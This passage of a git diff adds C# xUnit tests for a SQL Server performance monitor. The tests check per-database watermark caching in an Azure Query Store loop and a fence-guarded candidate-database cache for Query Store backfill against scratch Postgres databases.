+            Assert.DoesNotMatch(s_rungDml, StripSqlComments(sql));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreAzureLoopWatermarkLiveTests.cs b/Darling/Darling.Tests/QueryStoreAzureLoopWatermarkLiveTests.cs
new file mode 100644
index 0000000000..f69882a110
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreAzureLoopWatermarkLiveTests.cs
@@ -0,0 +1,289 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Data;
+using System.Data.Common;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5514: drives the host's REAL Azure per-database loop for query_store and checks what each fault leaves in the
+/// per-database watermark cache. A fault AFTER a database's batch was staged (its write threw, and may or may not
+/// have committed) drops that database's key, so the next resolve reads the store; a fault BEFORE the stage (the
+/// read itself threw, nothing was written) keeps the key, so a database that fails every cycle is not a store read
+/// every cycle. A sibling database that succeeded keeps its advanced key and equals the bounded store read. The
+/// enumerated arm has the same pins in <see cref="DatabaseWatermarkCacheRunnerLiveTests"/>; this is the Azure arm's.
+///
+/// <para><b>#1776 own-store</b> - every test here creates and drops its own scratch database through
+/// <see cref="ScratchPostgres"/>, so none is in the <c>live-postgres</c> collection.</para>
+/// </summary>
+public sealed class QueryStoreAzureLoopWatermarkLiveTests
+{
+    private const int LiveServerId = -551400;
+    private const string Alpha = "alpha";
+    private const string Zeta = "zeta";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static long Reads(CommandCountingLoggerFactory f) => f.Provider.CountContaining("MAX(last_execution_time)");
+
+    private static ServerRuntime MakeServer() => new()
+    {
+        Config = new MonitoredServer { Name = "t", Host = "h" },
+        ConnectionString = "Server=azure;Database=master",
+        Target = new CollectorTargetInfo { IsAzureSqlDb = true, Engine = CollectorTargetEngine.SqlServer },
+        StorageName = "h",
+        ServerId = LiveServerId,
+    };
+
+    private static Task<DateTime?> ResolveAsync(DarlingCollectorRunner runner, ServerRuntime server, string database, CancellationToken token)
+    {
+        var ct = DateTime.UtcNow;
+        return runner.ResolveQueryStoreDatabaseWatermarkAsync(
+            server, "query_store_stats", "last_execution_time", "database_name", database, WatermarkPolicy.ReadFloor(ct)!.Value, ct, token);
+    }
+
+    private static Task<DateTime?> StoreAsync(DarlingCollectorRunner runner, string database, CancellationToken token) =>
+        runner.GetLastCollectedTimeForDatabaseAsync(
+            LiveServerId, "query_store_stats", "last_execution_time", "database_name", database, token,
+            WatermarkPolicy.ReadFloor(DateTime.UtcNow));
+
+    private sealed class Rig : IAsyncDisposable
+    {
+        public ScratchPostgres Scratch = null!;
+        public NpgsqlDataSource Source = null!;
+        public CommandCountingLoggerFactory Logger = new();
+        public DarlingCollectorRunner Runner = null!;
+
+        public static async Task<Rig> OpenAsync(CancellationToken ct)
+        {
+            var rig = new Rig();
+            rig.Scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+            await using (var migrate = new NpgsqlConnection(rig.Scratch.ConnectionString))
+            {
+                await migrate.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(migrate, ct);
+            }
+
+            rig.Source = new NpgsqlDataSourceBuilder(rig.Scratch.ConnectionString).UseLoggerFactory(rig.Logger).Build();
+            rig.Runner = new DarlingCollectorRunner(rig.Source, new CollectorDeltaCalculator());
+            return rig;
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Source.DisposeAsync();
+            await Scratch.DisposeAsync();
+        }
+    }
+
+    /// <summary>One run of the Azure loop over alpha and zeta. Both return one runtime-stats row stamped five
+    /// minutes ago. <paramref name="writeFaultsOn"/> throws from the per-database write hook (after the stage);
+    /// <paramref name="readFaultsOn"/> throws from the database's read (before the stage).</summary>
+    private static async Task RunAsync(Rig rig, string? writeFaultsOn, string? readFaultsOn, CancellationToken token)
+    {
+        var stamp = new DateTimeOffset(DateTime.UtcNow.AddMinutes(-5), TimeSpan.Zero);
+        object[] Row(long id)
+        {
+            var row = new object[56];
+            Array.Fill(row, DBNull.Value);
+            row[0] = id;
+            row[1] = id;
+            row[2] = "Regular";
+            row[3] = stamp;
+            row[4] = stamp;
+            row[7] = "0x" + id.ToString("X8", System.Globalization.CultureInfo.InvariantCulture);
+            row[8] = 1L;
+            row[51] = "0x" + id.ToString("X8", System.Globalization.CultureInfo.InvariantCulture);
+            row[53] = id;
+            return row;
+        }
+
+        var provider = new FakeTargetProvider(
+            new Dictionary<string, object[][]> { [Alpha] = new[] { Row(1) }, [Zeta] = new[] { Row(2) } }, readFaultsOn);
+        rig.Runner.TargetProviderOverrideForTests = _ => provider;
+        rig.Runner.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { Alpha, Zeta });
+        rig.Runner.PerDatabaseWriteFaultForTests = db =>
+        {
+            if (db == writeFaultsOn)
+            {
+                throw new InvalidOperationException("injected write failure for " + db);
+            }
+        };
+
+        /* Not every database fails, so the run itself must not throw. */
+        await rig.Runner.RunAsync(QueryStoreCollector.Instance, MakeServer(), token);
+    }
+
+    [Fact]
+    public async Task AWriteFaultAfterTheStage_DropsThatDatabasesKey_AndTheNextResolveReadsTheStore()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the #5514 Azure loop pins.");
+        var token = TestContext.Current.CancellationToken;
+        await using var rig = await Rig.OpenAsync(token);
+        var server = MakeServer();
+
+        await RunAsync(rig, writeFaultsOn: Zeta, readFaultsOn: null, token);
+
+        /* The sibling that succeeded: its key advanced from its own batch, so the next resolve is a cache hit that
+           equals the bounded store read. */
+        rig.Logger.Provider.Reset();
+        var alpha = await ResolveAsync(rig.Runner, server, Alpha, token);
+        Assert.Equal(0, Reads(rig.Logger));
+        Assert.NotNull(alpha);
+        Assert.Equal(await StoreAsync(rig.Runner, Alpha, token), alpha);
+
+        /* The database whose write threw: its staged batch is not in the store, and the key was dropped, so this
+           resolve is a store read (one) and equals the store (no row). */
+        rig.Logger.Provider.Reset();
+        var zeta = await ResolveAsync(rig.Runner, server, Zeta, token);
+        Assert.Equal(1, Reads(rig.Logger));
+        Assert.Null(zeta);
+        Assert.Equal(await StoreAsync(rig.Runner, Zeta, token), zeta);
+    }
+
+    [Fact]
+    public async Task AReadFaultBeforeTheStage_KeepsThatDatabasesKey_SoTheNextResolveIsACacheHit()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the #5514 Azure loop pins.");
+        var token = TestContext.Current.CancellationToken;
+        await using var rig = await Rig.OpenAsync(token);
+        var server = MakeServer();
+
+        await RunAsync(rig, writeFaultsOn: null, readFaultsOn: Zeta, token);
+
+        /* Nothing was staged or written for zeta; the key the loop seeded before the read stays, and it equals the
+           store (no row), so this resolve is a cache hit. */
+        rig.Logger.Provider.Reset();
+        var zeta = await ResolveAsync(rig.Runner, server, Zeta, token);
+        Assert.Equal(0, Reads(rig.Logger));
+        Assert.Null(zeta);
+        Assert.Equal(await StoreAsync(rig.Runner, Zeta, token), zeta);
+
+        var alpha = await ResolveAsync(rig.Runner, server, Alpha, token);
+        Assert.NotNull(alpha);
+        Assert.Equal(await StoreAsync(rig.Runner, Alpha, token), alpha);
+    }
+
+    private sealed class FakeTargetProvider(Dictionary<string, object[][]> rowsByDatabase, string? readFaultOn) : ITargetProvider
+    {
+        public CollectorTargetEngine Engine => CollectorTargetEngine.SqlServer;
+
+        public DbConnection CreateConnection(string connectionString) => new FakeConnection(connectionString, rowsByDatabase);
+
+        public DbCommand CreateCommand(CollectorQuery query, DbConnection connection, int commandTimeoutSeconds) =>
+            new FakeCommand((FakeConnection)connection, readFaultOn);
+
+        public CollectorTargetFault Classify(Exception exception, bool yieldsOnLockTimeout) => CollectorTargetFault.Unclassified;
+
+        public string WithDatabase(string connectionString, string databaseName) => "db=" + databaseName;
+
+        public (string ConnectionString, CollectorQuery Query) BuildDatabaseListPlan(
+            string connectionString, IReadOnlyList<string>? excludedDatabases, IReadOnlyList<string>? databaseScope) =>
+            throw new NotSupportedException();
+    }
+
+    private sealed class FakeConnection(string connectionString, Dictionary<string, object[][]> rowsByDatabase) : DbConnection
+    {
+        private string _cs = connectionString;
+        public string DatabaseName => _cs.StartsWith("db=", StringComparison.Ordinal) ? _cs[3..] : "master";
+        public object[][] Rows => rowsByDatabase.TryGetValue(DatabaseName, out var rows) ? rows : Array.Empty<object[]>();
+
+        [System.Diagnostics.CodeAnalysis.AllowNull]
+        public override string ConnectionString { get => _cs; set => _cs = value ?? string.Empty; }
+        public override string Database => string.Empty;
+        public override string DataSource => string.Empty;
+        public override string ServerVersion => string.Empty;
+        public override ConnectionState State => ConnectionState.Open;
+        public override void ChangeDatabase(string databaseName) { }
+        public override void Close() { }
+        public override void Open() { }
+        public override Task OpenAsync(CancellationToken cancellationToken) => Task.CompletedTask;
+        protected override DbTransaction BeginDbTransaction(IsolationLevel isolationLevel) => throw new NotSupportedException();
+        protected override DbCommand CreateDbCommand() => throw new NotSupportedException();
+    }
+
+    private sealed class FakeCommand(FakeConnection owner, string? readFaultOn) : DbCommand
+    {
+        [System.Diagnostics.CodeAnalysis.AllowNull]
+        public override string CommandText { get; set; } = string.Empty;
+        public override int CommandTimeout { get; set; }
+        public override CommandType CommandType { get; set; }
+        public override bool DesignTimeVisible { get; set; }
+        public override UpdateRowSource UpdatedRowSource { get; set; }
+        protected override DbConnection? DbConnection { get; set; }
+        protected override DbParameterCollection DbParameterCollection => throw new NotSupportedException();
+        protected override DbTransaction? DbTransaction { get; set; }
+        public override void Cancel() { }
+        public override int ExecuteNonQuery() => throw new NotSupportedException();
+        public override object? ExecuteScalar() => throw new NotSupportedException();
+        public override void Prepare() { }
+        protected override DbParameter CreateDbParameter() => throw new NotSupportedException();
+        protected override DbDataReader ExecuteDbDataReader(CommandBehavior behavior) => Open();
+        protected override Task<DbDataReader> ExecuteDbDataReaderAsync(CommandBehavior behavior, CancellationToken cancellationToken) =>
+            Task.FromResult(Open());
+
+        private DbDataReader Open()
+        {
+            if (readFaultOn is not null && owner.DatabaseName == readFaultOn)
+            {
+                throw new InvalidOperationException("injected read failure for " + readFaultOn);
+            }
+
+            return new Reader(owner.Rows);
+        }
+    }
+
+    private sealed class Reader(object[][] rows) : DbDataReader
+    {
+        private int _row = -1;
+        private object[] Cur => rows[_row];
+
+        public override bool Read() => ++_row < rows.Length;
+        public override bool NextResult() => false;
+        public override string GetString(int o) => (string)Cur[o];
+        public override long GetInt64(int o) => (long)Cur[o];
+        public override DateTime GetDateTime(int o) => (DateTime)Cur[o];
+        public override bool GetBoolean(int o) => (bool)Cur[o];
+        public override bool IsDBNull(int o) => Cur[o] is DBNull;
+        public override object GetValue(int o) => Cur[o];
+        public override int FieldCount => rows.Length == 0 ? 0 : rows[0].Length;
+        public override bool HasRows => rows.Length > 0;
+        public override bool IsClosed => false;
+        public override int Depth => 0;
+        public override int RecordsAffected => -1;
+        public override object this[int o] => Cur[o];
+        public override object this[string n] => throw new NotSupportedException();
+        public override byte GetByte(int o) => throw new NotSupportedException();
+        public override long GetBytes(int o, long d, byte[]? b, int bo, int l) => throw new NotSupportedException();
+        public override char GetChar(int o) => throw new NotSupportedException();
+        public override long GetChars(int o, long d, char[]? b, int bo, int l) => throw new NotSupportedException();
+        public override string GetDataTypeName(int o) => throw new NotSupportedException();
+        public override decimal GetDecimal(int o) => throw new NotSupportedException();
+        public override double GetDouble(int o) => throw new NotSupportedException();
+        public override IEnumerator GetEnumerator() => throw new NotSupportedException();
+        public override Type GetFieldType(int o) => throw new NotSupportedException();
+        public override float GetFloat(int o) => throw new NotSupportedException();
+        public override Guid GetGuid(int o) => throw new NotSupportedException();
+        public override short GetInt16(int o) => throw new NotSupportedException();
+        public override int GetInt32(int o) => throw new NotSupportedException();
+        public override string GetName(int o) => throw new NotSupportedException();
+        public override int GetOrdinal(string n) => throw new NotSupportedException();
+        public override int GetValues(object[] v) => throw new NotSupportedException();
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreBackfillCandidateCacheLiveTests.cs b/Darling/Darling.Tests/QueryStoreBackfillCandidateCacheLiveTests.cs
new file mode 100644
index 0000000000..d9aa9d0c2d
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreBackfillCandidateCacheLiveTests.cs
@@ -0,0 +1,446 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5518: the Query Store backfill's per-tick database list is read from the store (a skip scan per chunk of the
+/// window, already the cheapest exact read: one index search per chunk per database) only when it could have
+/// changed, instead of on every tick. The cache is exact under the store-write fence: every Query Store write names
+/// its databases there before it opens its transaction, so a name outside the cached list invalidates it; a new cut
+/// chunk changes the statement text; and an age bound covers a writer outside the fence.
+///
+/// <para>The answer is pinned against a FRESH read (a backfill with no fence, which reads every call), including a
+/// database seen only once in the window.</para>
+///
+/// <para><b>#1776 own-store</b> - every test mints its own scratch database.</para>
+/// </summary>
+public sealed class QueryStoreBackfillCandidateCacheLiveTests
+{
+    private const int Server = -551801;
+    private const int OtherServer = -551802;
+    private static long s_id = 5518000;
+
+    private static DateTime At(int day, int hour, int minute = 0)
+        => new(2026, 6, day, hour, minute, 0, DateTimeKind.Unspecified);
+
+    private static readonly IReadOnlyDictionary<string, string> NoState = new Dictionary<string, string>(StringComparer.Ordinal);
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlConnection Connection)> CreateStoreAsync(CancellationToken ct)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5518 candidate-cache tests (each mints its own scratch database).");
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, ct), "the dev fixture is expected to have TimescaleDB installed");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        return (scratch, connection);
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, int serverId, string database, DateTime collectionTime, CancellationToken ct)
+    {
+        const string sql = @"
+INSERT INTO collect.query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, module_name, query_hash,
+     query_id, plan_id, execution_type_desc, replica_role,
+     runtime_stats_interval_id, interval_start_time_utc, first_execution_time, last_execution_time,
+     execution_count, avg_duration_us, avg_cpu_time_us, min_duration_us, max_duration_us)
+VALUES
+    ($1, $2, $3, 'SQL01', $4, 'dbo.GetOrders', '0xABCD', 91, 111, 'Regular', 'Primary',
+     1, $2, $2, $2, 1, 100, 100, 100, 100)";
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.AddWithValue(Interlocked.Increment(ref s_id));
+        command.Parameters.AddWithValue(collectionTime);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(database);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static QueryStoreBackfill Backfill(NpgsqlDataSource postgres, QueryStoreWriteFence? fence)
+        => new(postgres, new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator()), new CollectorDeltaCalculator(), logger: null,
+               hasContinuousAggregates: () => true, writeFence: fence);
+
+    /// <summary>One completed fenced write that names <paramref name="databases"/>, as the runner's COPY chokepoint
+    /// makes it.</summary>
+    private static void FencedWrite(QueryStoreWriteFence fence, int serverId, params string[] databases)
+    {
+        fence.BeginWrite(serverId, databases);
+        fence.EndWrite(serverId, succeeded: true);
+    }
+
+    /// <summary>Pin 1. The second tick is served from the cache (one store read for two calls) and both lists equal a
+    /// fresh read's, so the cache changes the cost, not the answer. A write to a database the list already holds
+    /// does not make the next tick read.</summary>
+    [Fact]
+    public async Task SecondTick_IsServedFromTheCache_AndEqualsAFreshRead()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+        await SeedAsync(connection, Server, "seen_once", At(15, 3), ct);
+        await SeedAsync(connection, OtherServer, "other_server", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var fence = new QueryStoreWriteFence();
+        var cached = Backfill(postgres, fence);
+        var fresh = await Backfill(postgres, fence: null).GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+
+        var first = await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        FencedWrite(fence, Server, "busy");
+        var second = await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+
+        Assert.Equal(new[] { "busy", "seen_once" }, fresh);
+        Assert.Equal(fresh, first);
+        Assert.Equal(fresh, second);
+        Assert.Equal(1, cached.CandidateStoreReadsForTests);
+    }
+
+    /// <summary>Pin 2. A write naming a database the list does not hold invalidates it: the next tick reads, and the
+    /// database - seen in one row in the window - is in the list, exactly as a fresh read has it. Another server's
+    /// new name does not.</summary>
+    [Fact]
+    public async Task AWriteNamingAnUnknownDatabase_MakesTheNextTickRead_AndTheSingleRowDatabaseIsListed()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var fence = new QueryStoreWriteFence();
+        var cached = Backfill(postgres, fence);
+
+        Assert.Equal(new[] { "busy" }, await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+
+        FencedWrite(fence, OtherServer, "somebody_elses");
+        Assert.Equal(new[] { "busy" }, await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+        Assert.Equal(1, cached.CandidateStoreReadsForTests);
+
+        await SeedAsync(connection, Server, "arrives_once", floor.AddHours(2), ct);
+        FencedWrite(fence, Server, "arrives_once");
+        var list = await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+
+        Assert.Equal(new[] { "arrives_once", "busy" }, list);
+        Assert.Equal(await Backfill(postgres, fence: null).GetCandidateDatabasesAsync(Server, floor, NoState, ct), list);
+        Assert.Equal(2, cached.CandidateStoreReadsForTests);
+    }
+
+    /// <summary>Pin 3. A list read beside a write in flight is returned but not kept (the write may commit after the
+    /// read), and neither is one read while the server is poisoned by an ambiguous write; the tick after a clean
+    /// quiet read keeps it.</summary>
+    [Fact]
+    public async Task AListReadBesideAWriteInFlight_IsNotKept()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var fence = new QueryStoreWriteFence();
+        var cached = Backfill(postgres, fence);
+
+        fence.BeginWrite(Server, new[] { "busy" });
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        Assert.Equal(2, cached.CandidateStoreReadsForTests);
+
+        fence.EndWrite(Server, succeeded: true);
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        Assert.Equal(3, cached.CandidateStoreReadsForTests);
+    }
+
+    /// <summary>Pin 4. The age bound: past <see cref="QueryStoreBackfill.CandidateCacheMaxAge"/> the next tick reads
+    /// and sees a row some writer outside the fence added.</summary>
+    [Fact]
+    public async Task PastTheAgeBound_TheNextTickReads_AndSeesAWriteFromOutsideTheFence()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        long now = 1_000;
+        var cached = Backfill(postgres, new QueryStoreWriteFence());
+        cached.TimestampForCandidateCache = () => now;
+        static long Ticks(TimeSpan span) => (long)(span.TotalSeconds * System.Diagnostics.Stopwatch.Frequency);
+
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        await SeedAsync(connection, Server, "restored", floor.AddHours(2), ct);
+
+        now += Ticks(QueryStoreBackfill.CandidateCacheMaxAge - TimeSpan.FromSeconds(1));
+        Assert.Equal(new[] { "busy" }, await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+
+        now += Ticks(TimeSpan.FromSeconds(1));
+        Assert.Equal(new[] { "busy", "restored" }, await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+        Assert.Equal(2, cached.CandidateStoreReadsForTests);
+    }
+
+    /// <summary>Pin 5. The cut moving to another chunk changes the statement, so the cached list is not served: the
+    /// floor in the next day's chunk drops a name that only the previous chunk held.</summary>
+    [Fact]
+    public async Task AFloorInAnotherChunk_IsNotServedTheCachedList()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "day15_only", At(15, 5), ct);
+        await SeedAsync(connection, Server, "busy", At(15, 20), ct);
+        await SeedAsync(connection, Server, "busy", At(16, 10), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var cached = Backfill(postgres, new QueryStoreWriteFence());
+
+        Assert.Equal(new[] { "busy", "day15_only" }, await cached.GetCandidateDatabasesAsync(Server, At(15, 9), NoState, ct));
+        Assert.Equal(new[] { "busy" }, await cached.GetCandidateDatabasesAsync(Server, At(16, 9), NoState, ct));
+        Assert.Equal(2, cached.CandidateStoreReadsForTests);
+    }
+
+    /// <summary>Pin 6. A host with no fence never caches: every call reads, as before the cache.</summary>
+    [Fact]
+    public async Task WithoutAFence_EveryTickReads()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var unfenced = Backfill(postgres, fence: null);
+        await unfenced.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        await unfenced.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+
+        Assert.Equal(2, unfenced.CandidateStoreReadsForTests);
+    }
+
+    private static ServerRuntime RuntimeFor(int serverId) => new()
+    {
+        Config = new MonitoredServer { Name = "cache-qs", Host = "cache-qs" },
+        ConnectionString = "Server=cache-qs",
+        Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+        StorageName = "cache-qs",
+        ServerId = serverId,
+        EngineEdition = 3,
+    };
+
+    private static QueryStoreCollector.Row QueryStoreRow(string database, DateTime when) => new()
+    {
+        DatabaseName = database,
+        QueryId = 7,
+        PlanId = 7,
+        ExecutionTypeDesc = "Regular",
+        FirstExecutionTime = when,
+        LastExecutionTime = when,
+        QueryHash = "0x00000007",
+        QueryPlanHash = "0x00000007",
+        ExecutionCount = 1,
+        AvgCpuTimeUs = 10,
+        AvgDurationUs = 20,
+        RuntimeStatsIntervalId = 7,
+    };
+
+    /// <summary>Pin 7. The hand-off the cache depends on, pinned by behavior: a NEW database written through the
+    /// runner's own backfill entry, with the fence wired as the worker wires it (the runner and the backfill share one
+    /// fence), makes the next tick read the store and list it. If the runner stopped handing its database names to
+    /// the fence, the cache would serve the old list until it aged out.</summary>
+    [Fact]
+    public async Task ANewDatabaseWrittenThroughTheRunner_MakesTheNextTickRead_AndIsListed()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var fence = new QueryStoreWriteFence();
+        var deltas = new CollectorDeltaCalculator();
+        var runner = new DarlingCollectorRunner(postgres, deltas, queryStoreWriteFence: fence);
+        var backfill = new QueryStoreBackfill(postgres, runner, deltas, logger: null,
+            hasContinuousAggregates: () => true, writeFence: fence);
+
+        Assert.Equal(new[] { "busy" }, await backfill.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+        Assert.Equal(new[] { "busy" }, await backfill.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+        Assert.Equal(1, backfill.CandidateStoreReadsForTests);
+
+        var server = RuntimeFor(Server);
+        var written = floor.AddHours(2);
+        await runner.WriteBackfillBatchAsync(
+            QueryStoreCollector.Instance, new List<QueryStoreCollector.Row> { QueryStoreRow("brand_new", written) },
+            server, written, new CollectorContext
+            {
+                ServerId = Server,
+                ServerName = server.StorageName,
+                CollectionTime = written,
+                Deltas = deltas,
+                Target = server.Target,
+            }, ct);
+
+        var list = await backfill.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        Assert.Equal(new[] { "brand_new", "busy" }, list);
+        Assert.Equal(2, backfill.CandidateStoreReadsForTests);
+        Assert.Equal(await Backfill(postgres, fence: null).GetCandidateDatabasesAsync(Server, floor, NoState, ct), list);
+    }
+
+    /// <summary>Pin 8. The fence snapshot is taken BEFORE the candidate read. A write that begins and ends after the
+    /// read's statement started (the hook runs just after the rows come back) must leave the entry invalidated; with
+    /// the snapshot taken after the read it would sit at or below the snapshot's sequence and the list would be
+    /// served without the new database.</summary>
+    [Fact]
+    public async Task AWriteLandingAfterTheReadStarted_IsNotMissedByTheKeptList()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var fence = new QueryStoreWriteFence();
+        var cached = Backfill(postgres, fence);
+        var fired = 0;
+        cached.AfterCandidateReadForTests = async () =>
+        {
+            if (fired++ == 0)
+            {
+                await SeedAsync(connection, Server, "late_arrival", floor.AddHours(2), ct);
+                FencedWrite(fence, Server, "late_arrival");
+            }
+        };
+
+        Assert.Equal(new[] { "busy" }, await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+        Assert.Equal(new[] { "busy", "late_arrival" }, await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct));
+        Assert.Equal(2, cached.CandidateStoreReadsForTests);
+    }
+
+    /// <summary>Pin 9. A removed server's cached list and its recorded database names go with it: the next call for
+    /// the id reads again, and the fence holds no name for it.</summary>
+    [Fact]
+    public async Task ForgetServer_DropsTheCachedListAndTheFenceNames()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var floor = At(15, 9);
+        var (scratch, connection) = await CreateStoreAsync(ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        await SeedAsync(connection, Server, "busy", floor.AddHours(1), ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var fence = new QueryStoreWriteFence();
+        var cached = Backfill(postgres, fence);
+        FencedWrite(fence, Server, "never_listed");
+        Assert.True(fence.WroteUnknownNameSince(Server, 0, new HashSet<string>(StringComparer.Ordinal)));
+
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        Assert.Equal(1, cached.CandidateStoreReadsForTests);
+
+        cached.ForgetServer(Server);
+
+        Assert.False(fence.WroteUnknownNameSince(Server, 0, new HashSet<string>(StringComparer.Ordinal)));
+        await cached.GetCandidateDatabasesAsync(Server, floor, NoState, ct);
+        Assert.Equal(2, cached.CandidateStoreReadsForTests);
+    }
+}
+
+/// <summary>#5518: the fence's name ledger, and the two places that feed and read it.</summary>
+public sealed class QueryStoreWriteFenceNameTests
+{
+    [Fact]
+    public void UnknownNameSince_SeesOnlyNamesOutsideTheListWrittenAfterTheSnapshot()
+    {
+        var fence = new QueryStoreWriteFence();
+        var known = new HashSet<string>(new[] { "a", "b" }, StringComparer.Ordinal);
+
+        fence.BeginWrite(1, new[] { "zz_before_snapshot" });
+        fence.EndWrite(1, succeeded: true);
+        var snapshot = fence.NameSnapshot(1);
+        Assert.True(snapshot.Quiet);
